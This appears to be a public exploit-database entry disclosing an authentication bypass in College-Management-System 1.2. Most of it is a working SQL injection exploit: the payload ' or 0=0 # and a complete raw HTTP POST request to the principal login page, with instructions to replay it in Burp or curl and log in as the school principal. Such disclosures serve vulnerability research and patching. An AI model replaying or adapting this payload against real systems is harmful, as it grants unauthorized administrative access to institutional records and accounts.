# Exploit Title: College-Management-System 1.2 - Authentication Bypass # Author: Cakes # Discovery Date: 2019-09-14 # Vendor Homepage: https://github.com/ajinkyabodade/College-Management-System # Software Link: https://github.com/ajinkyabodade/College-Management-System/archive/master.zip # Tested Version: 1.2 # Tested on OS: CentOS 7 # CVE: N/A # Discription: # Easy authentication bypass vulnerability on the application # allowing the attacker to log in as the school principal. # Simply replay the below Burp request or use Curl. # Payload: ' or 0=0 # POST /college/principalcheck.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://TARGET/college/principalcheck.php Content-Type: application/x-www-form-urlencoded Content-Length: 36 Cookie: PHPSESSID=9bcu5lvfilimmvfnkinqlc61l9; Logmon=ca43r5mknahus9nu20jl9qca0q Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 emailid='%20or%200%3d0%20#&pass=asdf